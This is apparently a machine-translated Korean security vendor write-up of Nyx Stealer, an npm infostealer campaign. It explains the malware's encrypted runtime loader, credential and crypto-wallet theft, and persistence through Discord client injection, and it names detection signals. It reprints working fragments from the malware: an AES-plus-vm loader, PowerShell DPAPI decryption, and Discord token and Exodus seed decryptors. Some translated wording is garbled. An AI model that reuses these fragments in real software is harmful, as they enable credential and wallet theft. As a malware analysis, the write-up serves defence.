TL; DR
Xygeni 보안 연구팀 두 개의 악성 패키지를 통해 유포되는 정교한 npm 정보 탈취 캠페인을 확인했습니다. 콘솔로피 셀프봇-로피.
최신 버전 (consolelofy@1.3.0) 런타임에 복호화되어 실행되는 216KB 크기의 AES 암호화 페이로드를 내장합니다. vm.runInNewContext()악성 로직이 완전히 암호화되어 있기 때문에 문자열 검사에 의존하는 정적 스캐너는 실행 시점까지 해당 동작을 관찰할 수 없습니다.
암호 해독이 완료되면 내부 브랜드가 지정된 페이로드가 표시됩니다. 닉스 스틸러, 대상:
- 디스코드 인증 토큰
- 50개 이상의 브라우저 자격 증명 저장소
- 90개 이상의 암호화폐 지갑 확장 프로그램
- Roblox, Instagram, Spotify, Steam, Telegram 및 TikTok 세션
- Discord 데스크톱 클라이언트 지속성
두 패키지에 포함된 20개 버전 모두 악성으로 보고 및 확인되었습니다.
이 npm 정보 탈취 도구의 기술적 개요
기존의 설치형 악성코드와 달리, 이 캠페인은 다음과 같은 방식을 사용합니다. 런타임 복호화 모델.
있다 :
- 악의는 없습니다
preinstallorpostinstallhooks - 설치 시 눈에 띄는 네트워크 호출은 없습니다.
- 평문 자격 증명 탈취 논리 없음
해당 악성 페이로드는 모듈이 임포트될 때 활성화됩니다. 악성 코드 전체는 암호화되어 있으며 런타임 시에만 메모리에 나타납니다.
이 설계는 패키지 설치 중에 감지되지 않도록 특별히 고안되었습니다.
이 npm 정보 탈취 프로그램은 실제로 어떻게 실행될까요?
Nyx Stealer가 무엇을 훔치는지 분석하기 전에, 먼저 이해해야 할 것이 있습니다. 실행 방식.
이 npm 정보 탈취 프로그램 내부의 악의적인 논리는 일관된 패턴을 따릅니다.
작은 로더가 암호화된 대용량 페이로드를 복호화하고 Node.js VM 컨텍스트 내에서 동적으로 실행합니다.
이 설계는 의도적인 것입니다. 공격자는 단순히 난독화 뒤에 기능을 숨기는 것이 아니라, 다른 방법을 사용하고 있습니다. 정적 가시성에서 악성 코드를 완전히 제거합니다..
고수준 실행 모델
크게 보면, 래퍼는 네 가지 일을 합니다.
- 하드코딩된 암호문에서 SHA-256을 사용하여 AES 키를 생성합니다.
- AES-256-CBC를 사용하여 대용량 16진수 암호화된 암호문을 복호화합니다.
- 복호화된 JavaScript를 사용하여 실행합니다.
vm.runInNewContext() - 강력한 런타임 기본 요소를 여전히 노출하는 샌드박스를 제공합니다.
핵심 기술 요약
| 구성 요소 | 구성/값 |
|---|---|
| 암호알고리즘 | AES-256-CBC |
| 키 파생 | SHA-256(암호) |
| 초기화 벡터(IV) | 16바이트의 0x00 |
| 실행 | vm.runInNewContext(decrypted, sandbox) |
중요한 점은 샌드박스가 다음 단계를 거친다는 것입니다.
requireprocessBuffer- 타이머
- 모듈 내보내기
이는 복호화된 페이로드가 다음과 같은 모든 기능을 그대로 유지한다는 것을 의미합니다.
- 생성 프로세스
- 파일 읽기 및 쓰기
- 네트워크 통화를 하세요
- 로컬 애플리케이션 수정
이것은 접근이 제한된 가상 머신이 아닙니다. 실행을 위한 임시 플랫폼으로 사용되는 가상 머신입니다.
런타임 암호화 패턴(핵심 실행 메커니즘)
로더는 작습니다.
악의적인 존재는 그렇지 않습니다.
다음은 패키지 내부에서 발견된 실행 패턴입니다.
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } 왜이 사항
복호화된 페이로드:
- 가요 지원 npm 패키지 내부에 평문으로 존재합니다.
- 단순한 것은 보이지 않습니다
grep또는 정적 문자열 스캔 - 실행 시에만 메모리에 실체화됩니다.
- Node 런타임의 모든 기능을 사용하여 실행됩니다.
이 AES + VM 실행 조합은 강력한 행동적 지표입니다. npm infostealer가 정적 검사를 회피하려고 시도하고 있습니다..
다른 말로:
패키지 소스 트리를 살펴보면 스틸러를 찾을 수 없습니다.
암호 해독기가 보입니다.
암호 해독 후에는 무슨 일이 일어날까요?
Nyx Stealer가 실행되면 병렬 데이터 수집 작업이 시작됩니다.
1단계: 브라우저 자격 증명 추출
악성 소프트웨어:
- NuGet CDN에서 Python 런타임을 다운로드합니다.
- 암호화 라이브러리를 설치합니다.
- 크롬 기반 자격 증명 저장소를 추출합니다.
- DPAPI로 보호된 비밀 키를 복호화합니다.
네이티브 바인딩을 컴파일하는 대신 PowerShell을 활용하여 Windows DPAPI를 직접 호출합니다.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } 이 접근 방식은 다음과 같습니다.
- 컴파일 오류를 방지합니다.
- Windows의 기본 암호화 API를 사용합니다.
- 관리 도구에 통합됩니다
이는 스크래핑이 아니라 운영체제 수준의 자격 증명 복호화입니다.
2차 업데이트: 디스코드 토큰 암호 해독
해당 스틸러는 프로토콜을 인식합니다. 디스코드의 암호화된 토큰 형식을 이해합니다.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } 운영 흐름:
- Discord에서 마스터 키를 추출하세요
Local State - DPAPI를 통해 마스터 키를 복호화하세요
- AES-GCM 토큰 블롭 복호화
- Discord API를 사용하여 토큰의 유효성을 검사합니다.
- Nitro, 배지, 결제 정보로 더욱 풍성하게 꾸며보세요
이것은 단순한 자격 증명 유출이 아닙니다. 프로토콜을 인식하는 세션 하이재킹입니다.
3단계: 암호화폐 지갑 타겟팅
npm infostealer는 다음을 열거합니다.
- 90개 이상의 브라우저 지갑 확장 프로그램
- 데스크톱 지갑 27개
- 콜드월렛 경로
- 엑소더스 시드 파일
예시 시드 복호화 시도:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } 지갑 해킹이 성공하면 즉각적이고 되돌릴 수 없게 됩니다.
이는 캠페인의 가장 가치 있는 수익 창출 수단을 나타냅니다.
Discord 데스크톱 주입을 통한 지속성 확보
자격 증명을 획득한 후, Nyx Stealer는 로컬 파일을 수정하여 지속성을 확보하려고 시도합니다. 디스코드 고객.
목표:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js 운영 순서
정보 탈취범은 다음과 같은 단계를 수행합니다.
- 실행 중인 Discord 프로세스를 종료합니다.
- 설치된 Discord 버전(안정 버전, 카나리 버전, PTB)을 찾습니다.
- 덮어쓰기
discord_desktop_core/index.js - 공격자가 제어하는 웹훅 로직을 주입합니다.
- 디스코드 재시작
이렇게 하면 향후 Discord 세션에서 새로운 인증 토큰이 자동으로 유출됩니다.
중요한 점은 이러한 지속성이 예약된 작업이나 레지스트리 수정에 의존하지 않는다는 것입니다. 이는 애플리케이션 수준의 코드 수정을 활용하는 보다 은밀한 접근 방식입니다.
악성 npm 패키지가 나중에 제거되더라도 Discord 클라이언트는 여전히 손상된 상태로 남아 있습니다.
기술적 비교: 합법적인 Selfbot과 npm Infostealer
| 구성 요소 | 정식 도서관 | Nyx npm 정보 도둑 |
|---|---|---|
| 암호화 | 없음 | 전체 AES 암호화 페이로드 |
| 런타임 VM | 필요하지 않음 | vm.runInNewContext 실행 |
| 자격 증명 액세스 | Discord API 전용 | 브라우저, 지갑, DPAPI |
| 외부 다운로드 | 아니 | NuGet을 통한 Python 런타임 |
| 고집 | 아니 | Discord 클라이언트 주입 |
| 섹션을 선택한다. | 봇 자동화 | 자격증 재판매 |
암호화 계층 하나만으로도 이 캠페인은 일반적인 오픈 소스 포크와 확연히 구분됩니다.
정상적인 Discord 셀프봇은 코드베이스 전체를 암호화하거나, DPAPI에 접근하기 위해 PowerShell을 실행하거나, 외부 런타임을 다운로드하거나, 데스크톱 애플리케이션 내부를 수정할 이유가 없습니다. 그런데 Discord 상호작용 자동화를 지원한다고 주장하는 종속성 패키지에 이러한 기능들이 포함되어 있다면, 아키텍처상의 불일치를 무시할 수 없게 됩니다.
수사 관점에서 볼 때, 이 npm 정보 탈취 악성코드는 여러 계층에 걸쳐 흔적을 남깁니다. 하지만 가장 신뢰할 수 있는 단서는 하드코딩된 URL이나 특정 파일 경로가 아닙니다. 왜냐하면 이러한 것들은 버전 간에 변경될 수 있기 때문입니다. 오히려 지속적인 단서는 구조적인 특징에서 나타납니다.
패키지 수준에서 가장 강력한 위험 신호는 대규모 암호화 페이로드와 런타임 복호화 래퍼가 결합되어 즉시 실행되는 경우입니다. vm.runInNewContext()암호화 자체는 본질적으로 악의적인 것은 아니지만, Discord 유틸리티 패키지 내에서 AES 복호화 후 동적 VM 실행을 사용하는 것은 매우 비정상적인 행위입니다.
호스트 수준에서는 예상치 못한 DPAPI 복호화 활동, Node.js 종속성 컨텍스트에서 프로세스 생성, 타사 라이브러리에서 절대 변경해서는 안 되는 로컬 애플리케이션 파일 수정 등이 의심스러운 패턴으로 간주됩니다. 마찬가지로 네트워크 계층에서는 개발 종속성에서 시작된 웹훅 방식의 외부 통신이 또 다른 중요한 이상 징후입니다.
즉, 탐지 표면은 침해 여부를 나타내는 단일 지표가 아닙니다. 암호화, 런타임 실행, 자격 증명 접근 및 지속성 행위 간의 상관관계가 위협을 드러냅니다.
Xygeni를 이용한 탐지 및 완화
이 npm 정보 탈취범은 다음에서 식별되었습니다. Xygeni의 악성코드 조기경보(MEW) 단순한 서명 일치 방식이 아닌, 계층화된 행동 상관관계를 통해 이루어집니다.
MEW는 알려진 악성 문자열을 검색하는 대신 전체 소스 트리에서 구조적 이상 징후를 평가합니다. 이 경우 탐지는 여러 신호의 수렴을 통해 이루어졌습니다. 이러한 신호에는 모듈 진입점에 내장된 AES 복호화 루틴, VM 컨텍스트 내에서의 즉시 실행, 그리고 명확한 기능-의도 불일치가 포함됩니다.
중요한 것은 이러한 신호들 중 어느 하나만으로는 악의적인 의도를 입증할 수 없다는 점입니다. 그러나 이러한 신호들을 종합적으로 분석하면 런타임 동작을 숨기려는 시도를 드러낼 수 있습니다. 이러한 다층적인 접근 방식은 오탐을 크게 줄이는 동시에 신뢰도가 높은 공급망 위협을 식별합니다.
더 나아가, 이 사례는 설치 시 검사만으로는 불충분한 이유를 보여줍니다. 악성 로직은 라이프사이클 스크립트에 존재하지 않습니다. 모듈이 로드된 후에야 활성화되며, 메모리에서 복호화된 후에야 비로소 노출됩니다. 따라서 효과적인 방어를 위해서는 암호화를 고려한 분석, 행동 패턴 인식, 그리고 설치 이벤트 이후에도 지속적인 종속성 모니터링이 필요합니다.
레지스트리 삭제는 사후 대응 방식입니다. 런타임 인식 분석은 예방적 조치입니다.
이 npm 정보 탈취범이 중요한 이유
Nyx Stealer는 npm 기반 악성코드의 구조적 진화를 보여줍니다.
과거에는 많은 악성 패키지가 설치 시 노출되는 스크립트나 명백한 자격 증명 유출 경로를 이용했습니다. 그러나 이번 공격 캠페인은 이와는 대조적으로 페이로드를 암호화하고, 실행을 런타임으로 연기하며, 정상적인 운영 체제 API를 활용하고, 신뢰할 수 있는 애플리케이션 내부에 지속성을 확보합니다.
결과적으로 공격자는 npm 인프라 자체를 악용할 필요가 없습니다. 대신, 의존성 설치는 신뢰를 전제로 하기 때문에 공격이 성공합니다. 개발자들은 특히 해당 라이브러리가 인기 있는 도구의 그럴듯한 포크처럼 보일 때, 라이브러리 가져오기가 안전한 작업이라고 생각합니다.
생태계가 계속 성장하고 포크가 급증함에 따라, 암묵적인 신뢰 경계는 점점 더 매력적인 공격 대상이 됩니다. 따라서 최신 npm 정보 탈취 공격에 대응하려면 정적인 문자열을 찾는 것보다 아키텍처 패턴을 파악하는 것이 중요합니다.
궁극적으로 이 캠페인은 중요한 교훈을 다시 한번 일깨워줍니다. software supply chain security가장 위험한 위협은 처음 봤을 때 악의적으로 보이는 것이 아니라, 런타임이 되어서야 실제 동작 방식이 드러나기 전까지는 구조적으로 합법적으로 보이는 것입니다.




